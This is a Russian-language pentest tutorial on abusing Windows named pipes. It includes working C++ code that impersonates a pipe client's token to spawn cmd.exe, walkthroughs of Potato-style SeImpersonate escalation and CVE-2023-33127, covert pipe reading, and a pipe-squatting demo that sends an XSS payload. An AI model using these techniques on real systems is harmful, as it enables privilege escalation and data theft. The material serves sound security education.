В Windows есть мно­го средств меж­про­цес­сно­го вза­имо­дей­ствия. Одно из них — име­нован­ные каналы, в народе — пай­пы. Давай поп­робу­ем нап­равить всю мощь вво­да‑вывода на бла­го пен­теста и научим­ся зло­упот­реблять этим механиз­мом сооб­щений. Пусть ник­то не уйдет без эска­лации при­виле­гий!

В сис­теме кру­тит­ся огромное количес­тво про­цес­сов: сис­темные вро­де explorer.exe, RunTimeBroker.exe, а так­же твои любимые бра­узер, Steam и Мал­варь­Писать­Быс­троС­тудия.ехе. Боль­шинс­тво из них хра­нят мол­чание и не делят­ся никакой информа­цией с внеш­ним миром — счи­тай, такие про­цес­сы‑интро­вер­ты вро­де нас с тобой. Одна­ко быва­ет и ина­че. Некото­рые про­цес­сы дол­жны переда­вать дан­ные сво­им сороди­чам: информа­цию о сос­тоянии CPU, раз­решении экра­на, нажима­емых сим­волах на кла­виату­ре.

Прос­тей­ший спо­соб вза­имо­дей­ствия меж­ду дву­мя общи­ми про­цес­сами — соз­дание фай­ла. Один про­цесс пишет, дру­гой чита­ет. Впро­чем, это не самый удоб­ный спо­соб обще­ния, прав­да? Здесь воз­ника­ют проб­лемы с син­хро­низа­цией, ато­мар­ным дос­тупом, нас­трой­кой дес­крип­торов безопас­ности...

По­это­му раз­работ­чики Windows при­дума­ли чуть более удоб­ный спо­соб переда­чи дан­ных и изоб­рели огромное количес­тво сущ­ностей, поз­воля­ющих переда­вать дан­ные меж­ду про­цес­сами. Одна из этих сущ­ностей — име­нован­ный канал (Named Pipe).

Что такое Pipe

Пайп пред­став­ляет собой объ­ект типа FILE_OBJECT, управля­емый спе­циаль­ной фай­ловой сис­темой с име­нем NPFS — Named Pipe File System. Пайп поз­воля­ет писать и счи­тывать из себя дан­ные раз­ным про­цес­сам, что и реша­ет задачу их вза­имо­дей­ствия. На сетевом уров­не переда­ча дан­ных про­исхо­дит поверх про­токо­ла SMB.

Соз­дание име­нован­ного канала про­исхо­дит с помощью фун­кции CreateNamedPipe().

HANDLE CreateNamedPipeA(
[in] LPCSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Да­вай пос­мотрим, за что отве­чает каж­дое из полей:

Для работы с пай­пом при­меня­ются еще некото­рые фун­кции (ссыл­ки на докумен­тацию):

Пер­вая фун­кция дает воз­можность сер­веру ждать под­клю­чения кли­ента (кли­ент под­клю­чает­ся «проз­рачно» — ему дос­таточ­но ука­зать пайп в вызове CreateFile() или CallNamedFile()).

BOOL ConnectNamedPipe(
HANDLE hNamedPipe,
LPOVERLAPPED lpOverlapped
)

По­ля:

Со­ответс­твен­но, фун­кция‑анто­ним — это DisconnectNamedPipe(). Она дает тебе воз­можность отклю­чить кли­ент от пай­па.

WaitNamedPipe() дает кли­енту воз­можность ждать под­клю­чения к сер­веру. Нап­ример, пытать­ся под­клю­чить­ся до тех пор, пока пайп не осво­бодит­ся или не прой­дет пять минут.

BOOL WaitNamedPipeA(
[in] LPCSTR lpNamedPipeName,
[in] DWORD nTimeOut
);

Пример клиента и сервера

Для обще­го понима­ния пред­лагаю пос­мотреть, как может выг­лядеть переда­ча стро­ки с сер­вера на кли­ент.

// Server.cpp
#include <Windows.h>
#include <iostream>
int main() {
wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe";
wchar_t message[40] = L"Hello World";
HANDLE serverpipe = NULL;
serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 0, NULL);
BOOL isPipeConnected = FALSE;
isPipeConnected = ConnectNamedPipe(serverpipe, NULL);
if (isPipeConnected) {
DWORD dw;
WriteFile(serverpipe, message, sizeof(message), &dw, NULL);
std::cout << dw << "Writed bytes to pipe" << std::endl;
DisconnectNamedPipe(serverpipe);
}
CloseHandle(serverpipe);
return 0;
}
// Client.cpp
#include <Windows.h>
#include <iostream>
int main() {
wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; // Можно засунуть айпишник "\\\\10.10.10.10\\pipe\\mypipe"
HANDLE clientPipe = NULL;
wchar_t newMessage[40] = { 0 };
// Коннект к пайпу
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, 0);
MessageBox(NULL, newMessage, NULL, MB_OK);
return 0;
}

Ес­ли хотим реали­зовать мно­гопо­точ­ный сер­вер, то есть при каж­дом под­клю­чении кли­ента соз­давать поток, в справ­ке есть хо­роший при­мер реали­зации. Мы так­же можем исполь­зовать фун­кцию PeekNamedPipe() для про­вер­ки того, нет ли в пай­пе новых дан­ных.

Изучение доступных пайпов

В сис­теме одновре­мен­но работа­ет мно­жес­тво име­нован­ных каналов. В сле­дующих раз­делах будем их активно экс­плу­ати­ровать, поэто­му логич­но будет научить­ся находить работа­ющие пай­пы!

Process Hacker

Са­мый прос­той спо­соб обна­руже­ния пай­пов — вос­поль­зовать­ся кра­сивым GUI в Process Hacker.

Достаточно ввести в поисковой строке pipe
Дос­таточ­но ввес­ти в поис­ковой стро­ке pipe

C++

Для более глу­боко­го кон­тро­ля и написа­ния собс­твен­ных инс­тру­мен­тов было бы неп­лохо соз­дать пол­ноцен­ную тул­зу для обна­руже­ния работа­ющих пай­пов. Здесь нам подой­дет осо­бен­ность име­нова­ния каналов — все они начина­ются с .pipe. В дей­стви­тель­нос­ти это отдель­ное прос­транс­тво имен. По нему мож­но про­бегать­ся так же, как и при поис­ке обыч­ных фай­лов.

#include <windows.h>
#include <iostream>
#include <string>
int main()
{
HANDLE hFind;
WIN32_FIND_DATA findFileData;
LPCWSTR pipesPath = L"\\\\.\\pipe\\*";
hFind = FindFirstFile(pipesPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
std::wcerr << L"Failed to find pipes, error: " << GetLastError() << std::endl;
return 1;
}
do
{
std::wstring pipeName = L"\\\\.\\pipe\" + std::wstring(findFileData.cFileName);
std::wcout << L"Found named pipe: " << pipeName;
HANDLE hPipe = CreateFile(
pipeName.c_str(),
GENERIC_READ |
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
DWORD clientPID;
if (GetNamedPipeClientProcessId(hPipe, &clientPID))
{
std::wcout << L", Client PID: " << clientPID;
}
else
{
std::wcerr << L", Failed to get client PID, error: " << GetLastError();
}
if (GetNamedPipeServerProcessId(hPipe, &clientPID))
{
std::wcout << L", Server PID: " << clientPID;
}
else
{
std::wcerr << L", Failed to get client PID, error: " << GetLastError();
}
CloseHandle(hPipe);
}
else
{
std::wcerr << L", Failed to open pipe, error: " << GetLastError();
}
std::wcout << std::endl;
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
return 0;
}
Пример поиска пайпов
При­мер поис­ка пай­пов

Я так­же добавил при­мер обна­руже­ния PID кли­ента пай­па и сер­вера. Я пред­полагаю, что кли­ент всег­да будет нашим про­цес­сом, одна­ко ты можешь вос­поль­зовать­ся фун­кци­ей GetNamedPipeClientProcessId() и в дру­гом кон­тек­сте: нап­ример, перех­ватив чужой хендл, как я опи­сывал в статье «Ло­маем дес­крип­торы! Как зло­упот­реблять хен­дла­ми в Windows».

Еще есть чуть более слож­ный вари­ант — сна­чала получить все хен­длы, а потом сре­ди них находить пай­пы. Я бы гор­до игно­риро­вал этот метод, одна­ко у меня в замет­ках сох­ранен та­кой код, зна­чит, кому‑то ког­да‑то это понадо­билось.

PowerShell

Сог­ласись, что авто­мати­зация и C++ — не самые близ­кие вещи. Иссле­довать пай­пы мож­но и через PowerShell, мож­но даже сде­лать кра­сивый вывод дес­крип­торов.

# Ко всем пайпам
Get-ChildItem \\.\pipe\ | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
# К конкретному пайпу
Get-ChildItem \\.\pipe\eventlog | ForEach-Object -ErrorAction SilentlyContinue GetAccessControl
Пример вывода дескриптора
При­мер вывода дес­крип­тора

IO Ninja

Но самый кру­той вари­ант, осо­бен­но с целью най­ти уяз­вимость, — это IO Ninja. Эта ути­лита поз­воля­ет выводить мак­сималь­но под­робную информа­цию о пай­пах и пре­дос­тавля­ет все необ­ходимые дан­ные для ресер­ча.

Пример использования IO Ninja
При­мер исполь­зования IO Ninja

PipeViewer

С IO Ninja может сме­ло посорев­новать­ся PipeViewer. У инс­тру­мен­та при­ятный гра­фичес­кий интерфейс, авто­мати­чес­кий вывод дес­крип­торов и фун­кция PipeChat, поз­воля­ющая уста­новить быс­трое соеди­нение с каналом.

Интерфейс PipeViewer
Ин­терфейс PipeViewer

Имперсонация клиентов

Пред­лагаю начать с базы. Сер­веры име­нован­ных каналов име­ют пра­во оли­цет­ворять под­клю­чен­ные кли­енты. При­чем если кли­ент не пере­опре­делял уро­вень имперсо­нации, то ему будет наз­начен стан­дар­тный — SecurityImpersonation. Такого уров­ня дос­таточ­но для запус­ка cmd.exe от лица поль­зовате­ля.

Сер­вер может нацепить на себя токен кли­ента через вызов фун­кции ImpersonateNamedPipeClient().

BOOL ImpersonateNamedPipeClient(
[in] HANDLE hNamedPipe
);

Здесь hNamedPipe — это хендл пай­па, к которо­му под­клю­чил­ся кли­ент.

В этом и сле­дующих раз­делах мы будем симули­ровать поведе­ние кли­ента и сер­вера. В коде ты встре­тишь Server.cpp (Pipe Server) и Client.cpp — кли­ент­ская часть, которая под­клю­чает­ся к пай­пу.

Для имперсо­нации кли­ента дос­таточ­но лишь дож­дать­ся его под­клю­чения и выз­вать фун­кцию чте­ния.

// Client.cpp
#include <iostream>
#include <Windows.h>
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
HANDLE hClientPipe = NULL;
wchar_t msg[] = L"imp";
DWORD dwBytesReaded;
std::wcout << L"Connecting to " << cwPipeName << std::endl;
hClientPipe = CreateFile(cwPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hClientPipe != NULL)
{
std::wcout << L"Success" << std::endl;
while (true) {
ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL);
}
}
return 0;
}
// Server.cpp
#include <iostream>
#include <windows.h>
#include <sddl.h>
int main() {
LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
HANDLE hServerPipe = NULL;
BOOL bPipeConnected = FALSE;
DWORD dwErr;
wchar_t msg[] = L"imp";
DWORD dwBytesWritten;
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError());
return NULL;
}
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
return NULL;
}
hServerPipe = CreateNamedPipe(cwPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
bPipeConnected = ConnectNamedPipe(hServerPipe, NULL);
if (bPipeConnected) {
std::wcout << "Client Connected!" << std::endl;
WriteFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL);
if (ImpersonateNamedPipeClient(hServerPipe) == 0)
{
dwErr = GetLastError();
std::wcout << dwErr << std::endl;
}
HANDLE hSystemToken;
HANDLE hSystemTokenDup;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hSystemToken))
{
wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError());
return -1;
}
if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
{
wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError());
return -1;
}
wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
PROCESS_INFORMATION pi = {};
STARTUPINFO si = {};
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
DWORD len;
TOKEN_STATISTICS stats;
if (::GetTokenInformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats), &len)) {
printf("Logon Session ID: 0x%08llX\n", (stats.AuthenticationId));
printf("Token Type: %s\n", stats.TokenType == TokenPrimary ? "Primary" : "Impersonation");
printf("Dynamic charged (bytes): %lu\n", stats.DynamicCharged);
printf("Dynamic available (bytes): %lu\n", stats.DynamicAvailable);
printf("Group count: %lu\n", stats.GroupCount);
printf("Privilege count: %lu\n", stats.PrivilegeCount);
}
if (CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == 0)
{
dwErr = GetLastError();
std::wcout << dwErr << std::endl;
}
}
return 0;
}

В кли­ент­ском коде все оче­вид­но — про­исхо­дит лишь под­клю­чение к пай­пу. В коде сер­вера соз­даем пайп, меня­ем его дес­крип­тор (что­бы у всех были пра­ва на чте­ние/запись), пос­ле под­клю­чения кли­ента хва­таем его токен и имперсо­ниру­ем. Сер­вер рекомен­дую запус­кать от лица сис­темы либо от учет­ной записи, у которой есть пра­ва на вызов CreateProcessWithTokenW().

Первый шаг — поднятие сервера
Пер­вый шаг — под­нятие сер­вера
Второй шаг — запуск фейкового клиента. Симуляция подключения
Вто­рой шаг — запуск фей­кового кли­ента. Симуля­ция под­клю­чения
Успешная имперсонация
Ус­пешная имперсо­нация

Есть реали­зации и на дру­гих язы­ках, вот два вари­анта на PowerShell: один за авторс­твом S3cur3Th1sSh1t, вто­рой из репози­тория поль­зовате­ля decoder-it.

От этой ата­ки, конеч­но же, есть защита. Кли­ент может кон­тро­лиро­вать уро­вень имперсо­нации. О защите под­робно написа­но в от­вете на StackOverflow. Если тебе инте­рес­но узнать, как кон­крет­но работа­ет имперсо­нация через пай­пы, рекомен­дую изу­чить ма­тери­ал Джо­ната­на Джон­сона.

Чейн с SeImpersonate

Воз­можнос­ти имперсо­нации час­то исполь­зуют­ся в популяр­ных экс­пло­итах «кар­тофель­ной» серии. Они поз­воля­ют повысить свои при­виле­гии до уров­ня сис­темы, имея дос­туп к учет­ной записи с SeImpersonatePrivilege. Общий кон­цепт прост: стриг­герить учет­ную запись сис­темы на пайп, зах­ватить токен, нацепить его на себя.

Вот нес­коль­ко таких экс­пло­итов:

От­дель­но хочу выделить экс­пло­ит GodPotato. Гло­баль­но его логика ничем не отли­чает­ся от инс­тру­мен­тов, перечис­ленных выше, одна­ко сам триг­гер про­исхо­дит по методу Kerberos Relay. То есть идет зло­упот­ребле­ние DCOM-аутен­тифика­цией. Я под­робно рас­смат­ривал этот механизм в матери­але «Рет­ран­сля­ция Kerberos. Как работа­ет RemoteKrbRelay» на «Хаб­ре».

Вот что про­исхо­дит при исполь­зовании это­го экс­пло­ита.

  1. За­пус­кает­ся пайп‑сер­вер.

    Запуск Pipe-сервера
    За­пуск Pipe-сер­вера
  2. Че­рез переза­пись кода фун­кция HookRPC() бин­дит на раз­решен­ном 135-м пор­те (что­бы перех­ватывать SMB-аутен­тифика­цию) фун­кции RpcServerUseProtseqEp() в RPC Dispatch Table. Вмес­то это­го будет вызывать­ся фун­кция fun().

    Перезапись RPC Dispatch Table
    Пе­реза­пись RPC Dispatch Table
  3. В качес­тве конеч­ной точ­ки для под­клю­чения ука­зыва­ется пайп.

    Эта функция пишется в RPC Dispatch Table, здесь можно увидеть эндпоинт
    Эта фун­кция пишет­ся в RPC Dispatch Table, здесь мож­но уви­деть эндпо­инт
  4. Сра­баты­вает триг­гер сис­темы через мар­шаллинг вре­донос­ного объ­екта OBJREF. Про­исхо­дит обра­щение к OXID Resolver.

  5. OXID Resolver отда­ет RPC String Binding на эндпо­инт из пун­кта 3.

  6. Про­исхо­дит аутен­тифика­ция на NamedPipe и дер­гает­ся фун­кция ImpersonateNamedPipeClient().

Имперсонация собственной персоной
Им­персо­нация собс­твен­ной пер­соной

Скрытое чтение данных

Как ты уже зна­ешь, пай­пы нуж­ны для чте­ния дан­ных. У пай­пов есть дес­крип­тор безопас­ности, который по умол­чанию поз­воля­ет всем читать тек­сто­вые дан­ные из пай­па. Сра­зу даже как‑то не верит­ся: неуже­ли мы можем счи­тывать все дан­ные из пай­па? Можем!

Нуж­но толь­ко учесть одну осо­бен­ность: чита­ют дан­ные обыч­но с помощью стан­дар­тных API, нап­ример ReadFile(). А такое счи­тыва­ние при­ведет к тому, что пайп опус­теет. То есть дан­ные будут счи­таны и уда­лены из пай­па. Для нас такое поведе­ние недопус­тимо, поэто­му на помощь при­ходит фун­кция PeekNamedPipe(). Эта фун­кция счи­тыва­ет дан­ные, не уда­ляя их из пай­па.

С ней мы смо­жем получить спи­сок пай­пов в сис­теме, а потом в цик­ле счи­тывать из них дан­ные с помощью PeekNamedPipe() и искать в них чувс­тви­тель­ную информа­цию или хотя бы какие‑нибудь дан­ные, которые помогут тебе прод­винуть­ся даль­ше.

Я нем­ного изме­нил логику прог­раммы в час­ти поис­ка пай­пов, добавив воз­можность чте­ния дан­ных, лежащих в пай­пе, с выводом раз­мернос­ти. Код боль­шой, целиком ищи на мо­ем GitHub.

Пример чтения
При­мер чте­ния

Гонка пайпов

Пом­нишь, я говорил, что мож­но соз­давать неог­раничен­ное количес­тво каналов с одним и тем же име­нем? Сис­тема будет исполь­зовать тот канал, который был соз­дан рань­ше. Мож­но счи­тать, что все пай­пы с одним наз­вани­ем орга­низо­ваны в фор­мате оче­реди — First In First Out.

Та­ким обра­зом, появ­ляет­ся воз­можность некото­рого сос­тояния гон­ки: кто быс­трей, того и тап­ки. Есть одно исклю­чение: если при соз­дании пай­па исполь­зует­ся флаг FILE_FLAG_FIRST_PIPE_INSTANCE, то Windows авто­мати­чес­ки про­верит, нет ли пай­па с таким име­нем. Если имя уже занято, то пайп не соз­дас­тся. Так­же сто­ит учесть параметр nMaxInstances, который опре­деля­ет мак­сималь­ное количес­тво пай­пов с одним име­нем.

Дер­жи в голове и еще одну осо­бен­ность: если в сис­теме уже соз­дан пайп, то новые соз­дава­емые пай­пы с таким же име­нем будут нас­ледовать дес­крип­тор безопас­ности ранее соз­данно­го пай­па.

Как это мож­но экс­плу­ати­ровать? Допус­тим, есть кли­ент­ское при­ложе­ние, воз­можно даже работа­ющее в дру­гом кон­тек­сте, которое пыта­ется под­клю­чить­ся к такому же при­виле­гиро­ван­ному при­ложе­нию — сер­веру пай­пов. Если мы смо­жем опе­редить сер­верное при­ложе­ние и соз­дать пайп с нуж­ным име­нем рань­ше, то кли­ент под­клю­чит­ся к нам и у нас будут все воз­можнос­ти для воз­дей­ствия на него. Нап­ример, ник­то не помеша­ет имперсо­ниро­вать чужой кон­текст или отправ­лять спе­циаль­но соз­данные пакеты в пайп, ожи­дая, что кли­ент совер­шит вре­донос­ные дей­ствия.

Итак, сце­нарий ата­ки на кли­ент по шагам.

  1. Оп­ределя­ем целевое при­ложе­ние, которое соз­дает пайп.
  2. Об­наружи­ваем кли­енты пай­па. Делать это мож­но через PipeViewer.

    Поиск клиентов
    По­иск кли­ентов
  3. Пи­шем при­ложе­ние, которое соз­дает пайп с таким же име­нем, что и ата­куемое при­ложе­ние.

  4. Ре­али­зуем Race Condition, соз­давая наш пайп рань­ше, чем при­ложе­ние‑сер­вер.

  5. Кли­енты начина­ют под­клю­чать­ся к нам.

  6. Про­водим имперсо­нацию или пишем/чита­ем дан­ные. В общем, воз­дей­ству­ем на кли­ент так, как можем.

Есть сце­нарий ата­ки на сер­вер. Дер­жишь еще в голове информа­цию про дес­крип­тор? Смот­ри:

  1. Об­наружи­ваем при­ложе­ние, которое соз­дает пайп.
  2. Мо­жем попытать­ся поревер­сить целевое при­ложе­ние и попытать­ся обна­ружить, какие его воз­можнос­ти дос­тупны кли­ентам и что они могут делать с сер­вером. Сле­дует так­же про­верить DACL пай­па.
  3. Ско­рее все­го, DACL не поз­волит нам под­клю­чать­ся к это­му пай­пу, поэто­му здесь в игру и всту­пает наш Race Condition.
  4. Пи­шем прог­рамму, которая соз­дает пайп с таким же име­нем, что и ата­куемое при­ложе­ние. Затем нуж­но сде­лать как‑то так, что­бы наша прог­рамма соз­дала пайп рань­ше, чем ата­куемое при­ложе­ние.
  5. Ес­ли мы смо­жем опе­редить ата­куемое при­ложе­ние, то пос­леду­ющие соз­дава­емые ата­куемым при­ложе­нием пай­пы будут нас­ледовать пра­ва дос­тупа нашего пай­па. Это поз­волит нам под­клю­чить­ся к ранее недос­тупно­му пай­пу и поль­зовать­ся его воз­можнос­тями.
  6. Ус­пешно под­клю­чаем­ся к пай­пу в целевом при­ложе­нии и зло­упот­ребля­ем его воз­можнос­тями.

По­доб­ная ситу­ация уже встре­чалась в реаль­ных усло­виях: это CVE-2023-33127. Под­систе­ма CLR Diagnostics соз­давала пайп в любом дот­нетов­ском при­ложе­нии. Конеч­но же, прос­то так к это­му пай­пу под­клю­чить­ся было нель­зя — это мог­ла сде­лать толь­ко сис­тема или поль­зователь — вла­делец про­цес­са. Одна­ко у ата­кующе­го была воз­можность опе­редить CLR. В таком слу­чае он успешно соз­давал пайп с нуж­ным име­нем, а затем под­клю­чалась сис­тема CLR и соз­давала еще один пайп (счи­тай, вто­рой в оче­реди). В этот раз, так как DACL нас­ледовал­ся, соз­данный сис­темой CLR в про­цес­се .NET пайп поз­волял под­клю­чать­ся к себе. И тог­да ата­кующий мог вос­поль­зовать­ся воз­можнос­тями при­ложе­ния, под­гру­зив в него вре­донос­ный код.

Пов­торим пошаго­во.

  1. Экс­пло­ит сна­чала дол­жен запус­тить любое дот­нетов­ское при­ложе­ние от лица дру­гого поль­зовате­ля через Session Moniker. Монике­ры я рас­смат­ривал в статье «Угон COM. Как работа­ет кра­жа сес­сии через механизм COM». Автор PoC запус­кал при­ложе­ние PhoneExperienceHost.
  2. При­ложе­ние написа­но на .NET, поэто­му плат­форма CLR будет пытать­ся соз­дать пайп с име­нем dotnet-diagnostic-{PhoneExperienceHost PID}.
  3. С помощью экс­пло­ита обго­няем плат­форму CLR и соз­даем этот пайп в нашем про­цес­се.
  4. Про­сыпа­ется CLR, соз­дает еще один пайп, уже в про­цес­се PhoneExperienceHost.
  5. На этот вто­рой пайп нас­леду­ется дес­крип­тор нашего пай­па (пер­вого). А в нем мы можем про­писать что угод­но, нап­ример раз­решение FullAccess груп­пе Everyone.
  6. Под­клю­чаем­ся ко вто­рому пай­пу.
  7. Ис­поль­зуем воз­можнос­ти при­ложе­ния и под­гру­жаем про­фили­ров­щик кода с вре­донос­ным пей­лоадом. Здесь‑то и про­исхо­дит LPE, потому что мы смог­ли: - инстан­цировать .NET-при­ложе­ние в чужой сес­сии; - соз­дать в нем пайп, к которо­му можем под­клю­чить­ся; - под­клю­чить­ся к пай­пу и зло­упот­ребить его воз­можнос­тями.

Для наг­ляднос­ти про­демонс­три­рую эту ата­ку. Пусть есть некото­рый пайп \\.\pipe\helloworld, к которо­му под­клю­чает­ся кли­ент, чита­ет из него дан­ные и выводит в кон­соль. Есть так­же легитим­ный Pipe Server, который этот пайп запус­кает и переда­ет кли­енту стро­ку.

// Client.cpp
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateFileW(
pipeName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error connecting to pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
wchar_t buffer[512];
DWORD bytesRead;
if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) {
std::wcerr << L"Error reading data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Received message: " << buffer << std::endl;
}
CloseHandle(hPipe);
return 0;
}
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
std::wcout << L"Waiting for client connection..." << std::endl;
if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
CloseHandle(hPipe);
return 1;
}
const wchar_t* message = L"Hello from Pipe Server!";
DWORD bytesWritten;
if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Message sent: " << message << std::endl;
}
CloseHandle(hPipe);
return 0;
}
Легитимное исполнение
Ле­гитим­ное исполне­ние

Од­нако некий Evil.exe ока­зал­ся быс­трее нашего Server.exe. Смот­ри, что про­исхо­дит:

// Evil.cpp
#include <windows.h>
#include <iostream>
int wmain() {
const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
HANDLE hPipe = CreateNamedPipeW(
pipeName,
PIPE_ACCESS_OUTBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
512,
512,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
std::wcerr << L"Error creating named pipe. Error code: " << GetLastError() << std::endl;
return 1;
}
std::wcout << L"Waiting for client connection..." << std::endl;
if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
std::wcerr << L"Error connecting client. Error code: " << GetLastError() << std::endl;
CloseHandle(hPipe);
return 1;
}
const wchar_t* message = L"<img src=x onerror=alert()>!";
DWORD bytesWritten;
if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(wchar_t), &bytesWritten, NULL)) {
std::wcerr << L"Error sending data. Error code: " << GetLastError() << std::endl;
}
else {
std::wcout << L"Message sent: " << message << std::endl;
}
CloseHandle(hPipe);
return 0;
}
Пример эксплуатации
При­мер экс­плу­ата­ции

Как видишь, Evil.exe соз­дал пайп рань­ше, за ним тот же самый пайп соз­дал и Server.exe, но, сог­ласно прин­ципу FIFO, Windows дала воз­можность под­клю­чить­ся кли­енту пер­вым к Evil.exe, а Server.exe про­игно­риро­вала.

Выводы

По­рой встро­енные механиз­мы меж­про­цес­сно­го вза­имо­дей­ствия могут таить в себе самые неожи­дан­ные кон­цепции и при­мити­вы, которые поз­волят ата­кующе­му повысить­ся в сис­теме, про­читать чувс­тви­тель­ные дан­ные или внед­рить собс­твен­ные биб­лиоте­ки в чужие про­цес­сы. Для обна­руже­ния таких век­торов нуж­но обла­дать упорс­твом, верой в себя и щепот­кой уда­чи.